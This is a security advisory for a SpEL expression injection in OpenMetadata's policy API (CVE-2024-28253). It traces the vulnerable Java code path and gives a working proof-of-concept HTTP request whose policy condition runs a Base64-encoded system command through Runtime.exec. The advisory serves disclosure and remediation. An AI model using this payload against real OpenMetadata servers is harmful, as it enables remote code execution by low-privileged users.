CVE-2024-28253 — Vulnerability in...

### SpEL Injection in `PUT /api/v1/policies` (`GHSL-2023-252`) **Please note, only authenticated users have access to PUT / POST APIS for /api/v1/policies. Non authenticated users will not be able to access these APIs to exploit the vulnerability** `CompiledRule::validateExpression` is also called from [`PolicyRepository.prepare`](https://github.com/open-metadata/OpenMetadata/blob/main/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/PolicyRepository.java#L113) ```java @Override public void prepare(Policy policy, boolean update) { validateRules(policy); } ... public void validateRules(Policy policy) { List<Rule> rules = policy.getRules(); if (nullOrEmpty(rules)) { throw new IllegalArgumentException(CatalogExceptionMessage.EMPTY_RULES_IN_POLICY); } // Validate all the expressions in the rule for (Rule rule : rules) { CompiledRule.validateExpression(rule.getCondition(), Boolean.class); rule.getResources().sort(String.CASE_INSENSITIVE_ORDER); rule.getOperations().sort(Comparator.comparing(MetadataOperation::value)); // Remove redundant resources rule.setResources(filterRedundantResources(rule.getResources())); // Remove redundant operations rule.setOperations(filterRedundantOperations(rule.getOperations())); } rules.sort(Comparator.comparing(Rule::getName)); } ``` `prepare()` is called from [`EntityRepository.prepareInternal()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/jdbi3/EntityRepository.java#L693) which, in turn, gets called from the [`EntityResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/EntityResource.java#L219): ```java public Response createOrUpdate(UriInfo uriInfo, SecurityContext securityContext, T entity) { repository.prepareInternal(entity, true); // If entity does not exist, this is a create operation, else update operation ResourceContext<T> resourceContext = getResourceContextByName(entity.getFullyQualifiedName()); MetadataOperation operation = createOrUpdateOperation(resourceContext); OperationContext operationContext = new OperationContext(entityType, operation); if (operation == CREATE) { CreateResourceContext<T> createResourceContext = new CreateResourceContext<>(entityType, entity); authorizer.authorize(securityContext, operationContext, createResourceContext); entity = addHref(uriInfo, repository.create(uriInfo, entity)); return new PutResponse<>(Response.Status.CREATED, entity, RestUtil.ENTITY_CREATED).toResponse(); } authorizer.authorize(securityContext, operationContext, resourceContext); PutResponse<T> response = repository.createOrUpdate(uriInfo, entity); addHref(uriInfo, response.getEntity()); return response.toResponse(); } ``` Note that even though there is an authorization check (`authorizer.authorize()`), it gets called after `prepareInternal()` gets called and therefore after the SpEL expression has been evaluated. In order to reach this method, an attacker can send a PUT request to `/api/v1/policies` which gets handled by [`PolicyResource.createOrUpdate()`](https://github.com/open-metadata/OpenMetadata/blob/b6b337e09a05101506a5faba4b45d370cc3c9fc8/openmetadata-service/src/main/java/org/openmetadata/service/resources/policies/PolicyResource.java#L365): ```java @PUT @Operation( operationId = "createOrUpdatePolicy", summary = "Create or update a policy", description = "Create a new policy, if it does not exist or update an existing policy.", responses = { @ApiResponse( responseCode = "200", description = "The policy", content = @Content(mediaType = "application/json", schema = @Schema(implementation = Policy.class))), @ApiResponse(responseCode = "400", description = "Bad request") }) public Response createOrUpdate( @Context UriInfo uriInfo, @Context SecurityContext securityContext, @Valid CreatePolicy create) { Policy policy = getPolicy(create, securityContext.getUserPrincipal().getName()); return createOrUpdate(uriInfo, securityContext, policy); } ``` This vulnerability was discovered with the help of CodeQL's [Expression language injection (Spring)](https://codeql.github.com/codeql-query-help/java/java-spel-expression-injection/) query. #### Proof of concept - Prepare the payload - Encode the command to be run (eg: `touch /tmp/pwned`) using Base64 (eg: `dG91Y2ggL3RtcC9wd25lZA==`) - Create the SpEL expression to run the system command: `T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode("dG91Y2ggL3RtcC9wd25lZA==")))` - Send the payload using a valid JWT token: ```http PUT /api/v1/policies HTTP/1.1 Host: localhost:8585 sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24" Authorization: Bearer <non-admin JWT> accept: application/json Connection: close Content-Type: application/json Content-Length: 367 {"name":"TeamOnlyPolicy","rules":[{"name":"TeamOnlyPolicy-Rule","description":"Deny all the operations on all the resources for all outside the team hierarchy..","effect":"deny","operations":["All"],"resources":["All"],"condition":"T(java.lang.Runtime).getRuntime().exec(new java.lang.String(T(java.util.Base64).getDecoder().decode('dG91Y2ggL3RtcC9wd25lZA==')))"}]} ``` - Verify that a file called `/tmp/pwned` was created in the OpenMetadata server #### Impact This issue may lead to Remote Code Execution by a registered and authenticated user #### Remediation Use [`SimpleEvaluationContext`](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/expression/spel/support/SimpleEvaluationContext.html) to exclude *references to Java types, constructors, and bean references*.